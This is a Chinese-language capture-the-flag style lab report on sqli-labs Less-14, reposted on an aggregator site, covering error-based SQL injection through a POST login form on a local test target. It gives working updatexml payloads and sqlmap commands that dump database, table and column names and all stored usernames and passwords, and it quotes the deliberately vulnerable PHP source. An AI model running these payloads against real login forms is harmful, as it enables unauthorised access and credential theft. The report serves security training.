欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 养生 > sql-labs靶场第十四关测试报告

sql-labs靶场第十四关测试报告

2025/1/31 22:31:55 来源:https://blog.csdn.net/2301_79698171/article/details/142904080  浏览:    关键词:sql-labs靶场第十四关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-14/

二、测试目的

测试post型的sql注入,使用报错注入注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

尝试提交数据,发现url中没有参数,猜测是post型传参

抓个包看看,是post类型传参,两个注入点:username和password

2、注入数据库

①寻找注入方法

知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道

uname=12&passwd=12&submit=Submit

执行,可以传递数据

加个引号,没有任何信息

uname=12'&passwd=12&submit=Submit

加上双引号,有了报错信息

测试闭合方式

测试判断列数的sql语句是否执行成功

经过不断尝试得到闭合符号为"时,语句正常执行

uname=12" order by 2#&passwd=12&submit=Submit

uname=12" order by 3#&passwd=12&submit=Submit

测试2列时没报错,测试3列时报了错

语句执行成功,并且该数据表共2列

闭合符号是双引号   "

使用联合查询注入不成功

uname=12" union select 1,2#&passwd=12&submit=Submit

这关还有报错信息,尝试报错注入成功

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=12&submit=Submit

②爆库,查看数据库名称

爆出所有数据库

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=12&submit=Submit

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&passwd=12&submit=Submit

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&passwd=12&submit=Submit

③爆表,查看security库的所有表

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#&passwd=12&submit=Submit

④爆列,查看users表的所有列

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#&passwd=12&submit=Submit

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1)#&passwd=12&submit=Submit

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),32,31),0x7e),1)#&passwd=12&submit=Submit

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),63,31),0x7e),1)#&passwd=12&submit=Submit

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),94,31),0x7e),1)#&passwd=12&submit=Submit

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),125,31),0x7e),1)#&passwd=12&submit=Submit

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),156,31),0x7e),1)#&passwd=12&submit=Submit

uname=12" and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),187,31),0x7e),1)#&passwd=12&submit=Submit

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs

使用python程序

-r  指定抓到的数据包文件

--dbs   是爆库的参数

②爆表

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity$uname='"'.$uname.'"';$passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';   echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">'; echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />';    echo "</font>";}else  {echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg"  />';   echo "</font>";  }
}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.检测了用户名和密码是否设置,是则传入post参数,给post参数添加了双引号,然后sql语句直接进行了调用,没有过滤。

3.这关将执行成功则打印到页面的语句注释了,结果不会有显示。执行失败会将mysql报错信息打印出来。

4.Sql语句只取一行,注入时会把注释掉。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,只需要指定抓到的数据包即可。

这关使用报错注入得到结果,sql报错信息显示在页面。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com